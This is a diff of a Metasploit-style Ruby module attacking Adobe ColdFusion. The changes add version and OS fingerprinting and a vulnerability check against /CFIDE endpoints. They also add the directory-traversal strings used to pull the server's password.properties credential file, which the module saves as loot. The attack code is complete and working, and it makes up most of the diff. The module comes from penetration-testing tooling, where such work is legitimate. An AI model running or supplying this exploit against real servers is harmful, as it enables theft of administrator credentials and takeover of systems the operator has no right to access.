@@ -29,7 +29,8 @@ def initialize(info = {})
29
29
'Author' =>
30
30
[
31
31
'HTP' ,
32
- 'sinn3r'
32
+ 'sinn3r' ,
33
+ 'nebulus'
33
34
] ,
34
35
'License' => MSF_LICENSE ,
35
36
'Actions' =>
@@ -43,7 +44,8 @@ def initialize(info = {})
43
44
44
45
register_options (
45
46
[
46
- Opt ::RPORT ( 8500 ) ,
47
+ Opt ::RPORT ( 80 ) ,
48
+ OptBool . new ( 'CHECK' , [ false , 'Only check for vulnerability' , false ] ) ,
47
49
OptString . new ( "TARGETURI" , [ true , 'Base path to ColdFusion' , '/' ] )
48
50
] , self . class )
49
51
end
@@ -52,15 +54,140 @@ def peer
52
54
"#{ datastore [ 'RHOST' ] } :#{ datastore [ 'RPORT' ] } "
53
55
end
54
56
57
+ def fingerprint ( response )
58
+
59
+ if ( response . headers . has_key? ( 'Server' ) )
60
+ if ( response . headers [ 'Server' ] =~ /IIS/ or response . headers [ 'Server' ] =~ /\( Windows/ )
61
+ os = "Windows (#{ response . headers [ 'Server' ] } )"
62
+ elsif ( response . headers [ 'Server' ] =~ /Apache\/ / )
63
+ os = "Unix (#{ response . headers [ 'Server' ] } )"
64
+ else
65
+ os = response . headers [ 'Server' ]
66
+ end
67
+ end
68
+
69
+ return nil if response . body . length < 100
70
+
71
+ title = "Not Found"
72
+ response . body . gsub! ( /[\r \n ]/ , '' )
73
+ if ( response . body =~ /<title.*\/ ?>(.+)<\/ title\/ ?>/i )
74
+ title = $1
75
+ title . gsub! ( /\s / , '' )
76
+ end
77
+ return nil if ( title == 'Not Found' or not title =~ /ColdFusionAdministrator/ )
78
+
79
+ out = nil
80
+
81
+ if ( response . body =~ />\s *Version:\s *(.*)<\/ strong\> <br\s \/ / )
82
+ v = $1
83
+ out = ( v =~ /^6/ ) ? "Adobe ColdFusion MX6 (Not Vulnerable)" : "Adobe ColdFusion MX7 (Not Vulnerable)"
84
+ elsif ( response . body =~ /<meta name=\" Author\" content=\" Copyright 1995-2012 Adobe/ and response . body =~ /Administrator requires a browser that supports frames/ )
85
+ out = "Adobe ColdFusion MX7 (Not Vulnerable)"
86
+ elsif ( response . body =~ /<meta name=\" Author\" content=\" Copyright \( c\) 1995-2006 Adobe/ )
87
+ out = "Adobe ColdFusion 8 (Not Vulnerable)"
88
+ elsif ( response . body =~ /<meta name=\" Author\" content=\" Copyright \( c\) 1995\- 2010 Adobe/ and
89
+ response . body =~ /1997\- 2012 Adobe Systems Incorporated and its licensors/ )
90
+ out = "Adobe ColdFusion 10"
91
+ elsif ( response . body =~ /<meta name=\" Author\" content=\" Copyright \( c\) 1995-2010 Adobe/ or
92
+ response . body =~ /<meta name=\" Author\" content=\" Copyright \( c\) 1995\- 2009 Adobe Systems\, Inc\. All rights reserved/ )
93
+ out = "Adobe ColdFusion 9"
94
+ elsif ( response . body =~ /<meta name=\" Keywords\" content=\" (.*)\" >\s +<meta name/ )
95
+ out = $1. split ( /,/ ) [ 0 ]
96
+ else
97
+ out = 'Unknown ColdFusion'
98
+ end
99
+
100
+ if ( title . downcase == 'coldfusionadministrator' )
101
+ out << " (you have administrator access)"
102
+ end
103
+
104
+ out << " (#{ os } )"
105
+ file = ''
106
+ trav = ''
107
+ if ( os =~ /Windows/ )
108
+ trav = '..\..\..\..\..\..\..\..\..\..'
109
+ file = ( out =~ /ColdFusion 9/ ) ? '\ColdFusion9\lib\password.properties' : '\ColdFusion10\CFusion\lib\password.properties'
110
+ else
111
+ trav = '../../../../../../../../../..'
112
+ file = ( out =~ /ColdFusion 9/ ) ? '/opt/coldfusion9/lib/password.properties' : '/opt/coldfusion10/cfusion/lib/password.properties'
113
+ end
114
+
115
+ if ( response . body =~ /Adobe/ and response . body =~ /ColdFusion/ and file == '' )
116
+ print_error ( "#{ peer } Fingerprint failed...aborting" )
117
+ print_status ( "response: #{ response . body } " )
118
+ return nil , nil
119
+ end
120
+
121
+ return out , "#{ trav } #{ file } "
122
+ end
123
+
124
+ def check
125
+ vuln = false
126
+ url = '/CFIDE/adminapi/customtags/l10n.cfm'
127
+ res = send_request_cgi ( {
128
+ 'uri' => url ,
129
+ 'method' => 'GET' ,
130
+ 'Connection' => "keep-alive" ,
131
+ 'Accept-Encoding' => "zip,deflate" ,
132
+ } )
133
+
134
+ if ( res != nil )
135
+ # can't stack b/c res.code won't exist if res is nil
136
+ vuln = true if ( res . code == 500 and res . body =~ /attributes\. id was not provided/ )
137
+ end
138
+
139
+ if ( vuln )
140
+ url = '/CFIDE/administrator/mail/download.cfm'
141
+ res = send_request_cgi ( {
142
+ 'uri' => url ,
143
+ 'method' => 'GET' ,
144
+ 'Connection' => "keep-alive" ,
145
+ 'Accept-Encoding' => "zip,deflate" ,
146
+ } )
147
+ if ( res != nil )
148
+ vuln = false if ( res . code != 200 )
149
+ end
150
+ end
151
+
152
+ return vuln
153
+ end
154
+
155
+
55
156
def run
56
157
filename = ""
57
- case action . name
58
- when 'ColdFusion10'
59
- filename = "../../../../../../../../../opt/coldfusion10/cfusion/lib/password.properties"
60
- when 'ColdFusion9'
61
- filename = "../../../../../../../../../../../../../../../opt/coldfusion9/lib/password.properties"
158
+
159
+ url = '/CFIDE/administrator/index.cfm'
160
+ # print_status("Getting index...")
161
+ res = send_request_cgi ( {
162
+ 'uri' => url ,
163
+ 'method' => 'GET' ,
164
+ 'Connection' => "keep-alive" ,
165
+ 'Accept-Encoding' => "zip,deflate" ,
166
+ } )
167
+ # print_status("Got back: #{res.inspect}")
168
+ return if not res
169
+ return if not res . body or not res . code
170
+ return if not res . code . to_i == 200
171
+
172
+ out , filename = fingerprint ( res )
173
+ print_status ( "#{ peer } #{ out } " ) if out
174
+
175
+ if ( out =~ /Not Vulnerable/ )
176
+ print_status ( "#{ peer } isn't vulnerable to this attack" )
177
+ return
62
178
end
63
179
180
+ if ( not check )
181
+ print_status ( "#{ peer } can't be exploited (either files missing or permissions block access)" )
182
+ return
183
+ end
184
+
185
+ if ( datastore [ 'CHECK' ] )
186
+ print_good ( "#{ peer } is vulnerable and most likely exploitable" ) if check
187
+ return
188
+ end
189
+
190
+
64
191
res = send_request_cgi ( {
65
192
'method' => 'GET' ,
66
193
'uri' => normalize_uri ( target_uri . path , 'CFIDE' , 'adminapi' , 'customtags' , 'l10n.cfm' ) ,
@@ -102,5 +229,4 @@ def run
102
229
p = store_loot ( 'coldfusion.password.properties' , 'text/plain' , rhost , res . body )
103
230
print_good ( "#{ peer } - password.properties stored in '#{ p } '" )
104
231
end
105
-
106
- end
232
+ end
0 commit comments